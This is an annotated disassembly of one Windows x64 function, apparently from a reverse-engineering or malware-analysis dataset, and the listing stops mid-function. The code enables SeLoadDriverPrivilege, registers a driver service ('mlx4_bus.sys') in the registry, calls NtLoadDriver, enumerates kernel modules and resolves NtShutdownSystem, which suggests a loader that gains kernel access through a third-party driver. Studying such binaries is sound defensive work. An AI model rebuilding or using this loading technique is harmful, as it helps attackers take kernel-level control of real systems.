Function at 0x14002f880
Capabilities:
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
mov rax, qword [0x140092010]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
xor esi, esi
mov r13d, esi
mov dword [rbp + 0x68], esi
mov rax, qword [0x140092f38]
mov ecx, 0x5a4d
cmp word [rax], cx
je 0x14002f8d5
mov ecx, esi
jmp 0x14002f8e6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
cmovne rcx, rsi
mov qword [rsp + 0x40], rcx
cmp dword [rcx], 0x4550
je 0x14002f906
lea rcx, str.____invalid_nt_signature_of_target_file_n
call fcn.14002bc50
xor al, al
jmp 0x140031747
mov edi, dword [rcx + 0x50]
mov dword [rbp + 0xe0], edi
mov qword [rbp + 0x1b8], rsi
movdqa xmm0, xmmword [0x140088100]
movdqu xmmword [rbp + 0x1c8], xmm0
mov byte [rbp + 0x1b8], 0
mov r8d, 5
lea rdx, [0x140075e6c]
lea rcx, [rbp + 0x1b8]
call fcn.14002ebd0
nop
lea rbx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0x10
cmovae rbx, qword [rbp + 0x1b8]
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], 0xf
mov r8d, 0xc
lea rdx, str.mlx4_bus.sys
lea rcx, [rbp - 0x28]
call fcn.14002ebd0
mov r9d, edi
mov r8, rbx
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x1f0]
call fcn.14002e100
nop
cmp dword [rbp + 0x238], 0
jne 0x14002f9b5
lea rcx, str.____failed_to_get_info_for_potential_driver._n
call fcn.14002bc50
jmp 0x140031729
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x138], 7
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x120]
call fcn.140032da0
mov qword [rbp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x58]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14002fa0e
mov bl, 1
jmp 0x14002fa9c
mov qword [rbp + 0xe8], rsi
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 8
cmovae rdx, qword [rbp + 0x120]
lea r8, [rbp + 0xe8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14002fa43
mov bl, 1
jmp 0x14002fa9c
mov dword [rbp + 0xf0], 1
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0xf4], rax
mov dword [rbp + 0xfc], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, [rbp + 0xf0]
xor edx, edx
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14002fa90
mov bl, 1
jmp 0x14002fa9c
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x14002fae5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002fae0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002fae0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x138], 7
mov word [rbp + 0x120], si
lea r15, [0x140075d90]
lea r14, str.___
test bl, bl
je 0x14002fb17
xor bl, bl
jmp 0x14003013a
mov rdi, qword [rbp + 0x200]
lea rbx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0x10
cmovae rbx, qword [rbp + 0x1f0]
call fcn.140071d3c
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], rdi
lea r8, [rbp + 0xb0]
mov edx, eax
lea rcx, [rsp + 0x78]
call fcn.14002c7d0
nop
mov qword [rsp + 0x58], rsi
movdqa xmm0, xmmword [0x1400880f0]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], si
mov dword [rbp + 0x68], 7
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x58]
call fcn.14002d1d0
test eax, eax
jne 0x14003178a
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rax, qword [rsp + 0x58]
mov qword [rbp + 0xb0], rax
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0xb8], rax
call fcn.140071d3c
movaps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm0
lea r8, [rbp + 0xb0]
mov edx, eax
lea rcx, [rbp + 0x100]
call fcn.140033fc0
mov dword [rbp + 0x68], 0x3f
mov r8, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
sub rax, r8
cmp rax, 4
jb 0x14002fc86
lea rax, [r8 + 4]
mov qword [rbp + 0x110], rax
lea rbx, [rbp + 0x100]
cmp rcx, 0x10
cmovae rbx, qword [rbp + 0x100]
cmp r15, rbx
jbe 0x14002fc42
lea rax, [rbx + r8]
cmp r14, rax
ja 0x14002fc42
cmp rbx, r14
ja 0x14002fc3a
mov rdi, rsi
jmp 0x14002fc47
mov rdi, rbx
sub rdi, r14
jmp 0x14002fc47
mov edi, 4
inc r8
lea rcx, [rbx + 4]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 4
sub r8, rdi
lea rdx, [r14 + 4]
add rdx, rdi
lea rcx, [rbx + rdi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x100]
jmp 0x14002fca5
mov qword [rsp + 0x28], 4
mov qword [rsp + 0x20], r14
mov edx, 4
lea rcx, [rbp + 0x100]
call fcn.140033b90
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rbp + 0x68], 0x7f
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x90]
call fcn.14002ebd0
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x90]
call fcn.140032810
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rdx, qword [rbp + 0x90]
lea r8, [rbp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14002fda0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x14002fd99
inc rdx
mov rcx, qword [rbp + 0x90]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14002fd94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002feca
call fcn.1400727b4
xor bl, bl
jmp 0x14002fed6
mov byte [rbp + 0x61], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x61]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14002fd58
mov byte [rbp + 0x62], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x62]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14002fd58
mov byte [rbp + 0x63], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x63]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14002fd58
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rcx, qword [rbp + 0x70]
mov eax, dword [rbp + 0x80]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14002fd58
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x14002fed6
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002fed1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002fed1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
mov byte [rbp + 0x90], 0
mov qword [rbp + 0xa8], 0xf
mov qword [rbp + 0xa0], rsi
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x14002ff30
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ff2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ff2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x14002ff8a
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ff85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ff85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
mov r13d, 0x7b
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x14002ffee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ffe9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ffe9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
movdqa xmm0, xmmword [0x1400880f0]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], si
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x140030042
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003003d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003012e
call fcn.1400727b4
movdqa xmm0, xmmword [0x1400880f0]
movdqu xmmword [rbp - 0x78], xmm0
mov word [rsp + 0x78], si
test bl, bl
je 0x14003013a
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xd0], rsi
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0xc0]
call fcn.14002ebd0
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0xc0]
call fcn.140032810
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x14003013a
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030135
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030135
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
movzx r12d, bl
lea r15, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae r15, qword [rbp + 0x210]
mov rbx, rsi
mov dword [rbp + 0x50], esi
lea r9, [rbp + 0x50]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400301ba
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x50]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x50]
mov r8d, dword [rbp + 0x50]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140030174
test eax, eax
js 0x140030299
mov edi, esi
cmp dword [rbx], esi
jbe 0x140030299
nop dword [rax]
mov r14d, edi
imul rcx, r14, 0x128
movzx eax, word [rbx + rcx + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], 0xf
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140030210
lea rcx, [rbp + 0x140]
call fcn.14002ebd0
lea rcx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0x10
cmovae rcx, qword [rbp + 0x140]
mov rdx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140030666
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x14003028f
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003028a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400306bb
call fcn.1400727b4
inc edi
cmp edi, dword [rbx]
jb 0x1400301d0
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, rsi
cmp r12d, 1
ja 0x140031703
test rdi, rdi
je 0x140031703
mov eax, dword [rbp + 0x230]
add rax, rdi
mov qword [rsp + 0x48], rax
mov r12d, 4
mov rax, qword gs:[0x58]
add r12, qword [rax]
mov eax, dword [r12]
cmp dword [0x140092f18], eax
jle 0x14003047b
lea rcx, [0x140092f18]
call fcn.140072668
cmp dword [0x140092f18], 0xffffffff
jne 0x14003047b
mov rdi, rsi
mov dword [rbp + 0x68], esi
lea r9, [rbp + 0x68]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140030376
nop dword [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x68]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea r9, [rbp + 0x68]
mov r8d, dword [rbp + 0x68]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140030330
test eax, eax
js 0x14003045d
mov ebx, esi
cmp dword [rdi], esi
jbe 0x14003045d
nop dword [rax + rax]
mov eax, ebx
imul rcx, rax, 0x128
movzx eax, word [rdi + rcx + 0x2e]
add rax, rdi
lea rdx, [rcx + 0x30]
add rdx, rax
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xd0], rsi
mov qword [rbp + 0xd8], 0xf
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400303d0
lea rcx, [rbp + 0xc0]
call fcn.14002ebd0
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rcx, qword [rbp + 0xc0]
lea rdx, [0x140075c38]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400306e5
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x140030453
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003044e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140030732
call fcn.1400727b4
inc ebx
cmp ebx, dword [rdi]
jb 0x140030390
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [0x140092f18]
call fcn.140072608
mov eax, dword [r12]
cmp dword [0x140092f1c], eax
jle 0x1400304b4
lea rcx, [0x140092f1c]
call fcn.140072668
cmp dword [0x140092f1c], 0xffffffff
jne 0x1400304b4
call fcn.14002d4c0
mov qword [0x140092f08], rax
lea rcx, [0x140092f1c]
call fcn.140072608
mov eax, dword [r12]
cmp dword [0x140092f50], eax
jle 0x1400304ed
lea rcx, [0x140092f50]
call fcn.140072668
cmp dword [0x140092f50], 0xffffffff
jne 0x1400304ed
call fcn.14002da70
mov qword [0x140092f10], rax
lea rcx, [0x140092f50]
call fcn.140072608
cmp qword [0x140092f08], 0
je 0x1400316f5
cmp qword [0x140092f10], 0
je 0x1400316f5
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x168], xmm1
mov qword [rbp + 0x178], rsi
lea r8, str.NtShutdownSystem
lea r14, [0x1400760b0]
mov rdx, r14
lea rcx, [rbp + 0x168]
call fcn.14002c610
nop
mov eax, dword [r12]
cmp dword [0x140092b80], eax
jle 0x140030573
lea rcx, [0x140092b80]
call fcn.140072668
cmp dword [0x140092b80], 0xffffffff
jne 0x140030573
lea rcx, [0x140092b80]
call fcn.140072608
lea rdx, [rbp + 0x240]
call fcn.14002ed30
nop
lea rcx, [rbp + 0x18]
call fcn.14002d360
nop
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x140030598
mov rax, qword [rax]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rcx
call fcn.140071d3c
movaps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm0
lea r8, [rbp + 0xb0]
mov edx, eax
lea rcx, [rbp - 0x28]
call fcn.140033fc0
or r13d, 0x1c00
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x28]
call fcn.140032810
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x138], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r13d, 0xd
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140030748
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030743
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030743
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
imul rax, r14, 0x128
mov rdi, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x1400306c7
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400306c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400306c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
jmp 0x1400302ad
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x14003046f
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030739
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030739
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
jmp 0x14003046f
call fcn.1400727b4
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x14003079b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030796
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030796
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
movdqa xmm0, xmmword [0x1400880f0]
movdqu xmmword [rbp + 0x28], xmm0
mov word [rbp + 0x18], si
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2b0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rdx, qword [rbp + 0x120]
lea rcx, [rbp + 0x2b0]
call fcn.140031b10
nop
mov r8, qword [rbp + 0x170]
mov rdx, qword [rbp + 0x168]
sub r8, rdx
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x2b8]
call fcn.140032c20
test rax, rax
jne 0x140030835
mov rax, qword [rbp + 0x2b0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2b0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 7
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rsp + 0x78]
call fcn.140032da0
mov qword [rbp + 0xe8], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0xe8]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14003088a
mov bl, 1
jmp 0x140030917
mov qword [rbp + 0x160], rsi
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rdx, qword [rsp + 0x78]
lea r8, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x1400308b8
mov bl, 1
jmp 0x140030917
mov dword [rbp + 0xb0], 1
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0xb4], rax
mov dword [rbp + 0xbc], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, [rbp + 0xb0]
xor edx, edx
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140030908
mov bl, 1
jmp 0x140030917
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x14003095b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030956
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030956
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400727b4
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], si
test bl, bl
je 0x140030977
xor bl, bl
jmp 0x140030f93
mov rdi, qword [rbp + 0x130]
lea rbx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rbx, qword [rbp + 0x120]
call fcn.140071d3c
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], rdi
lea r8, [rbp + 0xf0]
mov edx, eax
lea rcx, [rbp - 8]
call fcn.14002c7d0
or r13d, 0xc000
mov qword [rbp + 0xc0], rsi
movdqa xmm0, xmmword [0x1400880f0]
movdqu xmmword [rbp + 0xd0], xmm0
mov word [rbp + 0xc0], si
bts r13d, 0x10
mov dword [rbp + 0x68], r13d
lea rdx, [rbp - 8]
lea rcx, [rbp + 0xc0]
call fcn.14002d1d0
test eax, eax
jne 0x140031777
lea rax, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 8
cmovae rax, qword [rbp + 0xc0]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0xf8], rax
call fcn.140071d3c
movaps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xf0], xmm0
lea r8, [rbp + 0xf0]
mov edx, eax
lea rcx, [rsp + 0x58]
call fcn.140033fc0
or r13d, 0xe0000
mov dword [rbp + 0x68], r13d
mov r8, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
sub rax, r8
lea r15, str.___
cmp rax, 4
jb 0x140030b03
lea rax, [r8 + 4]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rcx, 0x10
cmovae rbx, qword [rsp + 0x58]
lea rax, [0x140075d90]
cmp rax, rbx
jbe 0x140030abe
lea rax, [rbx + r8]
cmp r15, rax
ja 0x140030abe
cmp rbx, r15
ja 0x140030ab6
mov rdi, rsi
jmp 0x140030ac3
mov rdi, rbx
sub rdi, r15
jmp 0x140030ac3
mov edi, 4
inc r8
lea rcx, [rbx + 4]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 4
sub r8, rdi
lea rdx, [0x140075d90]
add rdx, rdi
lea rcx, [rbx + rdi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x58]
jmp 0x140030b20
mov qword [rsp + 0x28], 4
mov qword [rsp + 0x20], r15
mov edx, 4
lea rcx, [rsp + 0x58]
call fcn.140033b90
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r13d, 0x14
mov dword [rbp + 0x68], r13d
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x70]
call fcn.14002ebd0
nop
